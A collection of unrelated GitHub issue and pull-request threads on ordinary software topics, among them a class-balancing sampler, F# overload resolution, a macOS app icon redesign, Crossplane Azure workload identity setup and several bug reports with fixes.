Added class balancing sampler

Context: in cases where some classes are less frequent than others, we'd want to sample images containing these classes more often.
Current implementation:

HasClassesInformation Protocol - Datasets can choose to support this protocol. Supporting it will allow the class balancing our-of-the-box.
ClassBalancingSampler - A sampler that oversamples scarce classes (based on RandomWeightedSampler). The default sampling strategy follows https://arxiv.org/pdf/1908.03195.pdf. There are two degrees of freedom which are the frequency threshold for the oversampling, and the oversampling aggressiveness.

Experiments and limitations (over COCO-val set, to speed-up the process):
The default values are oversample_threshold=None, oversample_agressiveness=0.5, where oversample_threshold=None means classes that are more frequent than the median frequency will not we oversampled. The value of oversample_agressiveness=0.5 means that the repeat factor for the oversampled classes is repeat_factor = (oversample_threshold / class_frequency) ** 0.5
Setting a value of oversample_agressiveness=0.0 means no oversampling at all. Setting a value of oversample_threshold=1.0 means all classes will be oversampled (according to their scarcity)
BEFORE BALANCE: Most frequent class (#0) appears 10777 times, which is 1197.44x more frequent than the least frequent class (#70) that appears only 9 times!

AFTER BALANCE (oversample_threshold=None, oversample_agressiveness=0.5): Most frequent class (#0) appears 10351 times, which is 265.41x more frequent than the least frequent class (#70) that appears only 39 times!

AFTER BALANCE (oversample_threshold=None, oversample_agressiveness=1.0): Most frequent class (#0) appears 9133 times, which is 71.35x more frequent than the least frequent class (#31) that appears only 128 times!

AFTER BALANCE (oversample_threshold=None, oversample_agressiveness=1.5): Most frequent class (#0) appears 8147 times, which is 103.13x more frequent than the least frequent class (#37) that appears only 79 times!

AFTER BALANCE (oversample_threshold=1.0, oversample_agressiveness=0.5): Most frequent class (#0) appears 10605 times, which is 303.00x more frequent than the least frequent class (#70) that appears only 35 times!

AFTER BALANCE (oversample_threshold=1.0, oversample_agressiveness=1.0): Most frequent class (#0) appears 9887 times, which is 73.24x more frequent than the least frequent class (#22) that appears only 135 times!

AFTER BALANCE (oversample_threshold=1.0, oversample_agressiveness=1.5): Most frequent class (#0) appears 7835 times, which is 89.03x more frequent than the least frequent class (#19) that appears only 88 times!

Usage:
train_dataloader_params:
    dataset: my_dataset
    sampler:
       ClassBalancingSampler:
           oversample_threshold:  # default
           oversample_aggressiveness: 0.5
    batch_size: 16
    ...

Discussion

The current implementation does not change the size of the epoch. It is not-deterministic. One can implement a sampler that would repeat the scarce images, changing the epoch's size.

Addressed comments.


SRTP resolution is order-dependent in unintuitive, subtle ways

When attempting to write groups of overloads, a surprising behavior manifests. In the following code, the compiler obsessively chooses the string overload for invoke; attempts at fixing the problem result in it choosing the seq overload instead. You will never get what you want: an uncons that is dispatched appropriately on type.
#light "off"

open System

type Uncons = class
  static member _resolve = Unchecked.defaultof<Uncons>

  static member inline Uncons (x : 'F) =
    ((^F) : (static member Uncons : ^F -> ^R) x)

  static member Uncons (s : string) =
    if String.IsNullOrEmpty s then None else
    Some (s.[0], if s.Length > 1 then s.[1..] else "")

  static member Uncons (s : seq<_>) =
    if Seq.isEmpty s then None else
    Some (Seq.head s, Seq.skip 1 s)

  static member Uncons (s : _ list) =
    match s with
    | [] -> None
    | x::xs -> Some (x, xs)

  static member inline invoke x =
    let inline call (a : ^a, b : ^b) =
      ((^a or ^b) : (static member Uncons : _ -> _) b) in
    call (Uncons._resolve, x)
end

let inline uncons x = Uncons.invoke x

However, there is a solution, and it is absurd:
#light "off"

open System

type Uncons = class
  static member _resolve = Unchecked.defaultof<Uncons>

  static member inline invoke x =
    let inline call (a : ^a, b : ^b) =
      ((^a or ^b) : (static member Uncons : _ -> _) b) in
    call (Uncons._resolve, x)
end

let inline uncons x = Uncons.invoke x

type Uncons with
  static member inline Uncons (x : 'F) =
    ((^F) : (static member Uncons : ^F -> ^R) x)

  static member Uncons (s : string) =
    if String.IsNullOrEmpty s then None else
    Some (s.[0], if s.Length > 1 then s.[1..] else "")

  static member Uncons (s : seq<_>) =
    if Seq.isEmpty s then None else
    Some (Seq.head s, Seq.skip 1 s)

  static member Uncons (s : _ list) =
    match s with
    | [] -> None
    | x::xs -> Some (x, xs)
end

Splitting the definition of the type fixes the problem. This is so bizarre that it seems more like the result of some aspect of the compiler's implementation rather than an intentional design decision. Either way, it really ought to be documented somewhere.
It's tempting to say that something ought to be fixed or corrected here, but that should probably take place as part of some greater conversation on the overloading/SRTP story. (Perhaps we can start that here? There doesn't seem to be a better venue for discussing language design/RFC-ish issues; UV certainly isn't the place, since its commenting is so weak.)

It seems that it also works if you annotate x with ^X:
#light "off"

open System

type Uncons = class
  static member _resolve = Unchecked.defaultof<Uncons>

  static member inline Uncons (x : 'F) =
    ((^F) : (static member Uncons : ^F -> ^R) x)

  static member Uncons (s : string) =
    if String.IsNullOrEmpty s then None else
    Some (s.[0], if s.Length > 1 then s.[1..] else "")

  static member Uncons (s : seq<_>) =
    if Seq.isEmpty s then None else
    Some (Seq.head s, Seq.skip 1 s)

  static member Uncons (s : _ list) =
    match s with
    | [] -> None
    | x::xs -> Some (x, xs)

  static member inline invoke (x : ^X) =
    let inline call (a : ^a, b : ^b) =
      ((^a or ^b) : (static member Uncons : _ -> _) b) in
    call (Uncons._resolve, x)
end

let inline uncons (x : ^X) = Uncons.invoke x

let x = uncons [1; 2]
let y = uncons "dog"

I could have sworn I tried that. Indeed, that works, and appears to work for overloads defined on user-provided types as well. (Though this doesn't change the weirdness shown in the first post, nor the fact that the behavior as-is is surprising.)

Thanks for the issue report. Given the provided workaround, is there a concrete request besides "better documentation for statically resolved type arguments"?

I think this shows another problem that I wanted to create an issue for. The F# compiler automatically infers generic type parameters that are indicated with ' to SRTP. I don't think it should do that. It should be explicit that a type parameter is a SRTP. But currently, the F# compiler even prohibits using ^ in the declaration. E.g. <^T> is not allowed. You have to type <'T>, which will be inferred to <^T>.

@exercitusvir You actually can write it, but you have to write < ^T> (note the space), since the lexer consumes <^ as one token...tripped me up initially too.
@latkin No, that'll do for now; you can close this issue. Sorry for the noise.


Update macOS icon to the Big Sur style

As of macOS 11.0, Apple's Human Interface Guidelines recommend using rounded-square icons. I've converted the existing circular icon to one based on Apple's provided templates. Looks like this:

In the dock looks like this (next to the original Discord app, for comparison)

Photoshop file: electron.psd.zip

Wow, that looks amazing, given I haven't made WebCord branding public in vector!
That being said, if you want to I could convert my own vector image to make sure gradient, shadow and other stuff will be consistent between different platforms, I dunno if I should make it public through. One reason why it isn't is now is to protect it a bit from being stolen, I don't want to people use it for clients completely unrelated to WebCord (I feel forks should be allowed, but distributing my WebCord-related images without including the license is forbidden, even as of today).
And sure, this one PR could be merged, branding is the last thing I want to refactor in WebCord + I don't plan to change the directory tree for now, but I would like to compare it with clean vector export and decide which should stay.

Fair! I traced it as faithfully as I could, although the curves might be off by a few pixels in places, and the shadow opacity was a bit of a guess. One thing I didn't realize until now is that your Clyde has a slight gradient; the one in my graphic is just pure white.

By looking at this image and following this guidelines @morellam-dev has mentioned, here's what I've ended up with:

Notable changes are:

My icon tries to follow the boundaries from the image and in result, it is placed a bit differently than @morellam-dev's ones.
I used original SVG from WebCord to reproduce gradient, clyde design, some shadows etc.
The clyde is resized and centered according to the image – it might match the macOS design a bit more.
The background shadow is blurred (which is not the case for circled image), but clyde ones is preserved the way it was.
Clyde design, among other details, seems to be a bit different to @morellam-dev ones (surely more close to original / current WebCord logo design).

Overall, I've tried to be as much accurate as it was for me possible. Given I don't own macOS and I'm not much familiar as a user with their design, I don't know if the final result is satisfying or not. I might export a series of ICNS images through from the SVG (hopefully that will guarantee the highest quality of details for bitmap images).

@morellam-dev What do you think about my image? Maybe you want to close this PR in favor of my work?

@SpacingBat3 The interior vector and colors look good, although the drop shadow is slightly too dark and displaced compared to the system icons. I downloaded your graphic and masked it against the shape and shadow of the Apple's official production template, giving the following result. This version should also exactly match Apple's app icon shape.
 (ICNS version: electron.icns.zip)
If you want pixel-perfect versions using your vector, you'd probably want to fill out the rest of Apple's template and export each individual PNG, although I personally think the downscaled versions generated from the above look acceptable. Here's the 64px, 32px, and 16px versions blown up to 2x scale.

And as an easy reference comparison, the corresponding versions from Discord (copyrighted, for reference use only, fair use, 17 U.S. Code § 107, yada yada yada):

PSD File: Template - Icon - App.psd.zip

The interior vector and colors look good, although the drop shadow is slightly too dark and displaced compared to the system icons.

@morellam-dev I've approached to re-design my logo version with hints you gave me and here's results:

Given I don't own/use PhotoShop and I find SVG more commonly supported, I want to store most of my icons as SVG or at least any kind of open non-bitmap file format (it might be a bit more friendly if I will ever plan to publish them – and I think that might eventually happen someday). While it might be a bit off, I tried my best to make background look as close in shape to yours and made shadow more fitting with macOS design.
Some changes I did to approach this:

Icon background is no longer a square.
Shadow has been re-aligned and made more transparent.
Gaussian blur (of shadow) has now a bit smaller radius.

BTW here's the SVG which contains the exactly same shadow and possibly the same shape (it's optimized, so it might have some coordinates a bit off) I used in my SVG file.


store.find('model-type', { prop: value} ) no longer working in 0.5.4

Since 0.5.4 i can no longer recover models using find or findQuery.

I think i found the problem.
DS.hasMany('model') relationships are failing because of this line change in the last commit.
-        var foreignAdapter = type.store.adapterFor(relationModel);
+        var foreignAdapter = store.adapterFor(relationName);

type.store.adapterFor(relationModel); does not throw any deprecations so why was it switched out?
FYI store.adapterFor(relationName) also works without exploding.

I may be experiencing a related bug.  After upgrading to 0.5.4, I get an error when retrieving a record with store.find(modelName, id), resulting in the following error:

Error while processing route: No model was found for coApplicants

Where coApplicants is a hasMany relationship on a given model (not async)

What versions of Ember Data are you using?

1.18 beta

This is affecting my solution as well - I thought it had to do with pluralization, but no

I'm facing the same problem, any luck? or maybe any updates about this issue @Kilowhisky @srsgores @kurko @duizendnegen ? I really need this fix because I need to query based on several columns using findQuery, I hope new commit will release soon if not available yet.

#124 says it fixes this, please reopen if that's not the case.


[Bug] [Module Name] Bug title

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
There is not reupload button in resource page.
What you expected to happen
I want to reupload my file.
How to reproduce
As the title.
Anything else
No response
Version
3.0.0-beta-2
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Please update the issue title and give a detail description about reupload, and why this is a BUG?


Observe changes to specs on the file system

documents extension/1
starts a dummy file observer for the spec folder
removes mock repo
observes files to delete and upsert

This naively implements another worker process that is based on FileSystem. This is taken inspiration from mix test.watch, which uses a similar approach to trigger the file system change based runner.
I am not super familiar with this, but this can be considered a first pass.
Somebody needs to test this. @asaaki :wink: :heart: ?
Testing inc.
Fixes #14.

I'll can give it a try in a few days.

Bump @asaaki ( ╹▽╹ )

Thanks for the review - will try this on the weekend!

Pull Request Test Coverage Report for Build f143a0d65160919433f079dda478a56a372148f3-PR-24

4 of 32 (12.5%)  changed or added relevant lines in 4 files are covered.
44 unchanged lines in 10 files lost coverage.
Overall coverage decreased (-25.5%) to 43.556%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

lib/mimicry/mock_server.ex
0
2
0.0%

lib/mimicry/utils/specification_folder.ex
0
4
0.0%

lib/mimicry/mock_server_list.ex
1
7
14.29%

lib/mimicry/utils/specification_file_observer.ex
3
19
15.79%

Files with Coverage Reduction
New Missed Lines
%

lib/mimicry_api/response.ex
1
0%

lib/mimicry/open_api/path.ex
1
85.71%

lib/mimicry/open_api/specification.ex
1
50.0%

test/support/mock_server_case.ex
1
90.0%

lib/mimicry_api/router.ex
3
23.08%

lib/mimicry/mock_api.ex
3
66.67%

lib/mimicry_api/controllers/proxy_controller.ex
8
27.27%

lib/mimicry_api/controllers/server_controller.ex
8
35.0%

lib/mimicry/mock_server_list.ex
8
31.03%

lib/mimicry/mock_server.ex
10
0%

Totals

Change from base Build f386162207efc5ae304d7532afccf6e9dfb2dc9f:
-25.5%

Covered Lines:
98

Relevant Lines:
225

💛  - Coveralls


Support to EMR on EKS

Is your feature request related to a problem? Please describe.
Would be great to extend the EMR api to support EMR on EKS.
Describe the solution you'd like
Adding a option to submit Jobs inside the emr.submit_spark_step or with a new endpoint supporting the :
https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/emr-containers.html
operations.
PS: If there aren't any plans to do it soon, I can help with a PR.

Thanks for the suggestion @hudsondba. EKS on EMR is not currently on our roadmap but we always welcome PRs from the community so happy to review it if you have plans to submit it


Unable to hear from broadcaster(when broadcaster end the call - incoming call from another real device).

Normal user can not hear from brodcaster.
Seqeunce:-

Broadcaster speaking , we can hear him.
Broadcaster get incoming call on mobile number.
Broadcaster received incoming call and after 5 seconds disconnect it.
Broadcaster start speaking, we are unable to hear him. Broadcaster can hear other broadcaster.

Above things happen, when broadcaster using headphone/earphone.
Device: Vivo, Mi

Any update on this?
I'm also facing this issue. When I get an incoming call from another device and disconnect it, The other people can't hear me even though my role is BROADCASTER and the microphone is unmuted. I can hear other broadcasters' voices. I had to leave the channel and join again in order to fix this issue.
Please look into this issue on higher priority as our customers facing this issue frequently.

Any update on this? @LichKing-2234
My Users are facing this issue and every time this happens they have to re join..

could you pls help provide some logs? does this only happen when there's incoming calls?

Observed this issue only when the user receives the incoming call or missed call (even ring happens only once).
will provide the logs in few mins.

While receiving the incoming call, below log generated in release mode.
`I/flutter ( 2107): state
I/flutter ( 2107): AudioLocalState.Failed
I/flutter ( 2107): state
I/flutter ( 2107): AudioLocalState.Stopped
I/flutter ( 2107): reason
I/flutter ( 2107): AudioRemoteStateReason.LocalMuted
I/flutter ( 2107): state
I/flutter ( 2107): AudioLocalState.Failed
I/flutter ( 2107): reason
I/flutter ( 2107): AudioRemoteStateReason.LocalUnmuted
I/flutter ( 2107): reason
I/flutter ( 2107): AudioRemoteStateReason.Internal
I/flutter ( 2107): reason
I/flutter ( 2107): AudioRemoteStateReason.Internal
I/flutter ( 2107): state
I/flutter ( 2107): AudioLocalState.Recording
I/flutter ( 2107): state
I/flutter ( 2107): AudioLocalState.Encoding
`

Can you confirm if there is a known fix for this issue @LichKing-2234 ?

Can you confirm if there is a known fix for this issue @LichKing-2234 ?

I think the latest version works.


Error during concurrent karma testing: Failed to execute 'removeChild' on 'Node'

When executing multiple builds in Jenkins that do karma testing on the same build node this error is randomly produced:
[exec]     "message": "Uncaught NotFoundError: Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node.\nat bower_components/angular-dynamic-locale/dist/tmhDynamicLocale.js:60:14\n\nError: Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node.\n    at HTMLScriptElement.script.onload (bower_components/angular-dynamic-locale/dist/tmhDynamicLocale.js:60:14)"
I was also able to reproduce the same random error locally by running karma testing with multiple browsers specified in the karma.conf.js:
browsers: ['ChromeHeadless', 'ChromeHeadless'],
From the bower.json:
"angular-dynamic-locale": "0.1.29",
This issue looks related to issue #52 and pull request #72. Also, I locally applied the fix proposed in #72 (which basically adds a check that the script is the child of the body before removing it from the body) and validated that the error no longer happens when testing concurrently.

I tested this again with the latest release (0.1.36) and confirmed the same error is produced. Adding a similar check that the script is the child of the element before removing it from the element resolved the issue.
          if (script.parentNode === element) {
            element.removeChild(script);
          }

By any chance, are you using requirejs?
Are you able to reproduce this with a minimal test case?
On Tue, Jun 12, 2018 at 4:49 PM daldinger<EMAIL_ADDRESS>wrote:

I tested this again with the latest release (0.1.36) and confirmed the
same error is produced. Adding a similar check that the script is the child
of the element before removing it from the element resolved the issue.
      if (script.parentNode === element) {
        element.removeChild(script);
      }

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/lgalfaso/angular-dynamic-locale/issues/122#issuecomment-396617278,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAX44u1YVap0xVurRhuzrxNBsvna4nalks5t79TfgaJpZM4UjE4l
.

I think I tracked it down to some nested test suites/contexts that are doing
     afterEach(function() {
        angular.element(document.body).children().remove();
     });

I’m still torn if this should be fixed at the library. Anyhow, given that
this is causing issues, will apply the patch and cut a new version in a few
days.
On Wed, Jun 13, 2018 at 4:19 PM daldinger<EMAIL_ADDRESS>wrote:

I think I tracked it down to some nested test suites/contexts that are
doing
 afterEach(function() {
    angular.element(document.body).children().remove();
 });

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/lgalfaso/angular-dynamic-locale/issues/122#issuecomment-396954435,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAX44mQl31Uvy7CcUbGfb3u4nZewdZVqks5t8R9jgaJpZM4UjE4l
.

Fixed at 0.1.37


flush a node of depth >= 3

In order not to run out of memory, be a tad more aggressive when flushing a node. This means that deeper nodes will have to be reloaded from the DB, but the memory should remain below 16GB.

First 8 hours of running this PR, the RAM usage seems to tend towards an asymptote (that was expected) at around 8GB (tbc).
The required disk space grows linearly (also expected).

5 million accounts have been covered so far, which means that if the data can be extrapolated (it can not, most of the big contracts are still ahead) it should take 13 days to do the translation with this method. The final size should then be of about ~120GB.

The memory growth towards an asymptote seems to continue, and the state continues to grow linearly. The memory seem that it will stabilize around 8GB and the state will grow towards ~250GB and the translation will take 20 days. As said before, the amount of data that is processed tends to vary and in my experience, the "end" of the address space is more empty. Still, a worrisome trend.

Note that this approach has several flaws:

internal nodes are stored by commitment. When they get flushed to disk, then reloaded from disk and inserted into, their commitment will change. The consequence is that the older version of the node will remain in the database and take up space
the "3rd level" limit is not very smart and will flush items regardless of the memory available: if the translating node has more memory, that memory isn't used to limit the amount of flushes/recovery from disk.
values can not be inserted in order, which would allow for a very efficient algorithm.


[Feature] Add support for Microsoft Entra Pod Identity as an authentication mechanism

What problem are you facing?
Currently, there's no option to scope rich Crossplane permissions to a certain ServiceAccount, like EKS Pod Identity or IRSA in AWS do.
What could help solve your problem?
Would be nice to have Microsoft Entra Pod Identity as a more secure authentication mechanism option.

Actually there is, we are using it in production quite a while.
You need a workload identity enabled cluster, a  K8S ServiceAccount mapped to a UserIdentity and then you can use a providerconfig like this:
apiVersion: azure.upbound.io/v1beta1
kind: ProviderConfig
metadata:
  name: azure-provisioning-tenantABC
  namespace: crossplane-system
  labels:
    azure.workload.identity/use: "true"
spec:
  clientID: {{ .Values.clientId }}
  credentials:
    source: OIDCTokenFile
  oidcTokenFilePath: /var/run/secrets/azure/tokens/azure-identity-token
  subscriptionID: {{ .Values.subscriptionId }}
  tenantID: {{ .Values.tenantId }}

We use this as DeploymentRuntimeConfig:
apiVersion: pkg.crossplane.io/v1beta1
kind: DeploymentRuntimeConfig
metadata:
  name: provider-azure-family-config
spec:
  deploymentTemplate:
    spec:
      selector: {}
      template:
        metadata:
          labels:
            azure.workload.identity/use: "true"
            gap.hdi.global/scrape-metrics: "true"
        spec:
          # { optional stuff to configure proxy and security settings}
          serviceAccountName: crossplane-azure-provisioning # we created this serviceaccount and tied it to an azure identity for workload identity federation usage

Provider Config:
apiVersion: pkg.crossplane.io/v1
kind: Provider
metadata:
  name: azure-provider-network
spec:
  runtimeConfigRef:
    name: provider-azure-family-config
  package: "<custom image location>"
  # otherwise providers tries to resolve azure family from xpkg.upbound.io
  skipDependencyResolution: true

We have a lot of tenants in the cluster and each tenant has a dedicated ProviderConfig.
Hope that helps.
This uses WorkloadIdentity which is the successor of PodIdentity, which is preview and deprecated (or already removed?).

Just to clarify - so this way, access is scoped to workloads that use the ServiceAccount specified in the DeploymentRuntimeConfig, same way as with EKS Pod Identity for AWS provider? Or they are applied at the kubelet level?

Just to clarify - so this way, access is scoped to workloads that use the ServiceAccount specified in the DeploymentRuntimeConfig, same way as with EKS Pod Identity for AWS provider? Or they are applied at the kubelet level?

Yes, even one step further down the road. It is scoped to the ServicePrincipal  in EntraId.
Example:
We have a UserManagedIdentity tenant-abc in EntraId and can assign this identity permissions to to certain things (e.g. provisioning resources, when we are talking about the Azure Crossplane Providers or accessing the Kubernetes Cluster, reading ConfigMaps in a namespace if we are talking about the Crossplane Kubernetes Provider.
The UserManagedIdentity has FederatedCredentials configured, which allows the ServiceAccount to get access token (see  https://learn.microsoft.com/en-us/graph/api/resources/federatedidentitycredentials-overview)
The ServiceAccount of the crossplane provider will get the access tokens depending on the credentials you configured in the DeploymentRuntimeConfig.
Maybe a good read is the basic flow for WorkloadIdentityFederation in general: https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview?tabs=dotnet#how-it-works
In the end the crossplane providers are just pods using the mechanism to fetch the access token.

Many thanks, I will try it out. Would be nice to have this documented in https://github.com/crossplane-contrib/provider-upjet-azure/blob/main/AUTHENTICATION.md (I can potentially add a PR for it it as soon as I get this working)

So I did the following:

via Terraform:

enabled OIDC and Workload Identity on AKS cluster
configured user-assigned managed identity (with Contributor)
created federation identity credential

via K8s manifests / Helm charts:

a ServiceAccount (myself, not automatically by Crossplane) for providers' Pods
Crossplane (from a Helm chart), installed 1.17.0, which works fine for EKS clusters with EKS Pod Identity, so used it just to be consistent across the clouds atm)
a ProviderConfig with the necessary azure.workload.identity/use: "true" label and all other stuff
a DeploymentRuntimeConfig (however, it differs from yours - validation didn't pass until I specified containers: [] (was failing with The DeploymentRuntimeConfig "provider-azure-runtime-config" is invalid: spec.deploymentTemplate.spec.template.spec.containers: Required value).
the xpkg.upbound.io/upbound/provider-azure-storage provider (tried multiple versions from 1.8.* to 1.10.2) with skipDependencyResolution: true, so it didn't install the Azure provider family.

And I'm stuck on the following issue despite trying different configurations / provider versions:
k8s.io/client-go@v0.29.4/tools/cache/reflector.go:229:
  Failed to watch *v1beta1.ProviderConfig: failed to list *v1beta1.ProviderConfig:
  providerconfigs.azure.upbound.io is forbidden:
  User "system:serviceaccount:crossplane-system:provider-azure" cannot list resource "providerconfigs"
  in API group "azure.upbound.io" at the cluster scope

Considering that you've mentioned that you created the ServiceAccount with the Workload Identity label as a prerequisite (it was specified in DeploymentRuntimeConfig, but isn't managed by the Crossplane resources, as far as I can tell), can you advise whether you've attached some additional ClusterRole / modified automatically created one?
Many thanks in advance

So I did the following:

via Terraform:

enabled OIDC and Workload Identity on AKS cluster
configured user-assigned managed identity (with Contributor)
created federation identity credential

via K8s manifests / Helm charts:

a ServiceAccount (myself, not automatically by Crossplane) for providers' Pods
Crossplane (from a Helm chart), installed 1.17.0, which works fine for EKS clusters with EKS Pod Identity, so used it just to be consistent across the clouds atm)
a ProviderConfig with the necessary azure.workload.identity/use: "true" label and all other stuff
a DeploymentRuntimeConfig (however, it differs from yours - validation didn't pass until I specified containers: [] (was failing with The DeploymentRuntimeConfig "provider-azure-runtime-config" is invalid: spec.deploymentTemplate.spec.template.spec.containers: Required value).
the xpkg.upbound.io/upbound/provider-azure-storage provider (tried multiple versions from 1.8.* to 1.10.2) with skipDependencyResolution: true, so it didn't install the Azure provider family.

And I'm stuck on the following issue despite trying different configurations / provider versions:
k8s.io/client-go@v0.29.4/tools/cache/reflector.go:229:
  Failed to watch *v1beta1.ProviderConfig: failed to list *v1beta1.ProviderConfig:
  providerconfigs.azure.upbound.io is forbidden:
  User "system:serviceaccount:crossplane-system:provider-azure" cannot list resource "providerconfigs"
  in API group "azure.upbound.io" at the cluster scope

Considering that you've mentioned that you created the ServiceAccount with the Workload Identity label as a prerequisite (it was specified in DeploymentRuntimeConfig, but isn't managed by the Crossplane resources, as far as I can tell), can you advise whether you've attached some additional ClusterRole / modified automatically created one?
Many thanks in advance

Ah sorry, yes the containers  part is required as well. I Only removed it from the example because it contained a lot of our environment specific configuration.
Maybe try to remove the skipDependencyResolution: true  part. We only have it because we are running in an environment where we cannot access the xpkg Container Registry. If you have that as well, make sure to install the azure-family-provider manually as well.
Afaik there is no additional cluster role binding required.


Feature log keycloak

Add WARN level and podLabels to Keycloak and Keycloak-Postgresql

@arturohu LGTM, solve the conflicts in your local and push the branch again so we can merge it


[frontend] quiz dialog refactoring

Description
List of proposed changes:

use LoadingButton  when submitting the quiz
refactoring logic and style of all Question components

What to test for/How to test
Additional Notes
This PR wwitch custom ToggleButton style to MUI default style. The current style is identical to a regular MUI Button and it's confusing.
https://mui.com/material-ui/react-toggle-button/

Mostly cosmetic things, feel free to tell me to GTFO:
My windows are wide open with sun coming in and the colour contrast on the button when it's selected seems really low.  I found it hard to tell it was selected.  The image below makes it look okay and it's clear what the answer is, but I'm wondering if increasing the colour contrast would be a better option, especially for those with low vision.

Curious about the "next" and "previous" button placement.  On mobile, you have them side-by-side, but in the mockup, they're stacked:

Also curious about the decision to have the previous button disabled on the first question when the mockup has it hidden:

Mostly cosmetic things, feel free to tell me to GTFO:
My windows are wide open with sun coming in and the colour contrast on the button when it's selected seems really low. I found it hard to tell it was selected. The image below makes it look okay and it's clear what the answer is, but I'm wondering if increasing the colour contrast would be a better option, especially for those with low vision.

I've checked it it pass a11y, no issue.

Curious about the "next" and "previous" button placement. On mobile, you have them side-by-side, but in the mockup, they're stacked:

Fixed.

Also curious about the decision to have the previous button disabled on the first question when the mockup has it hidden:

I'm used to see and use pagination with previous disabled when on first page. Fixed.


Publish 03/24/2022 3:30 PM PT

Close/open to try to force checks.

Docs Build status updates of commit 0410598:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2019-ps/activedirectory/New-ADGroup.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

#sign-off

Close/open to force checks.

Docs Build status updates of commit 0410598:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2019-ps/activedirectory/New-ADGroup.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 0410598:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2019-ps/activedirectory/New-ADGroup.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Improves seq2seq example

Makes the following improvements:

Factors out model and input pipeline code into separate files. Before it was a single file, but it was actually too much code so it made it hard to navigate around
Splits rngs inside jitted function
No longer use a global CharacterTable, but pass around a local one instead.
Fixes tests with new setup

Further follow-up improvements:

Update Colab
Put relevant stuff of CharacterTable inside a train_state so we only have to pass around that (and it can also be passed to jitted functions)
Add type annotations everywhere

Codecov Report

Merging #1920 (4470e86) into main (3871098) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head 4470e86 differs from pull request most recent head 2585433. Consider uploading reports for the commit 2585433 to get more accurate results

@@           Coverage Diff           @@
##             main    #1920   +/-   ##
=======================================
  Coverage   70.57%   70.57%
=======================================
  Files          58       58
  Lines        4900     4900
=======================================
  Hits         3458     3458
  Misses       1442     1442

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3871098...2585433. Read the comment docs.


Fix build error in CMVS on mac_mini

See: https://github.com/ethz-asl/cmvs_pmvs_catkin/pull/5

retest this please

retest this please

lgtm


category relations line 387 causes errors with NAs

            data_table = self.corr_probability(df_probability=[dfx1, dfx2],
                                               time_period="",
                                               coef_box_loc=coef_box)

also 476 would throw error with dropna fix

NaN values will exist if, upon instantiation, the two parameter xcat1_chg and xcat_trims are both set to None. NaN values will not be removed by categories_df() function.

After changes, there should not be any NaN values in self.df.


Threat Modeling Tool - Cannot resize shapes

Creating an issue
In MTM 2016 or the new release I can often work on a diagram for a few minutes and then all of a sudden I cannot resize any of the shapes.  I doesn't matter what shape it is or what edge I try to resize from, it just won't work.  I've tried from both the 2016 and the newest release.  I can still move shapes around.
If I close MTM and re-open the diagram I sometimes can resize the shapes again, but not always.  Any help is appreciated.

@ChronoKal, please help with the link to the document on which the above document feedback request is created.
In case your query is not related to document content, open a new forum thread in Microsoft Q&A or Stack Overflow as it could be better place to get help on your scenario. These forum community members could provide their expert guidance on your scenario based on their experience. Thanks.

@ChronoKal , I'm following up on my above comment. Could you please provide an update?

@GitaraniSharma-MSFT I opened a case on Microsoft Q&A.  Closing Issue.  Thanks.


[fusion-test-utils] support jest's test(str, fn, timeout) signature

import { test } from 'fusion-test-utils';
test('no bugs', async foo => { /* ... */ }, timeout);

yields
Flow:
Cannot call `test` because no more than 2 arguments are expected by  function type [1].

Because
https://github.com/fusionjs/fusionjs/blob/10b64c280d4acc76ed0639e21e05fc12be15b318/fusion-test-utils/src/index.js#L88
Is missing timeout arg
Even though
https://github.com/fusionjs/fusionjs/blob/10b64c280d4acc76ed0639e21e05fc12be15b318/fusion-test-utils/src/index.js#L101

A "workaround" for now:
import * as fusionTestUtils from 'fusion-test-utils';

type $Arguments<F> = $Call<<A: $ReadOnlyArray<mixed>>((...A) => mixed) => A, F>;

type FixedTest = (
  ...args: $Call<
    <A, B, C>(a: [A, B], b?: C) => [A, B, C] | [A, B],
    $Arguments<typeof fusionTestUtils.test>,
    number
  >
) => $Call<typeof fusionTestUtils.test, any, any> | typeof fusionTestUtils.test;

const test: FixedTest = (fusionTestUtils.test: any);

I'm not a huge fan of our wrapping of Jest here to mimic Tape.  Fixing this particular case (above) but we should explore a longer-term plan to replace and deprecate this.


setup plugin registries

depends on https://github.com/brain-score/core/pull/14

re-trigger jenkins


My pages

Home page and first blog post

I have no idea what just happened, but I think I committed web pages for the first time. I hope.


File target: Handle UnauthorizedAccessException for multi-process mutexes (e.g. Xamarin and UPW)

alternative solution for #3048
See #2742 and #2824 and #2925 and #3059

Bad idea to throw exception everytime creating an file-appender.
Bad idea to fallback to normal Mutex, since it provides no protection. Instead it should fallback to KeepFileOpen=false.

Still think ConcurrentWrites = false should be the default on NetCore, since the default of KeepFileOpen = false works everywhere.


Example in Remix

Hi, I am trying to reproduce these contracts in Remix, the question is that once both contracts are deployed. How are they linked?

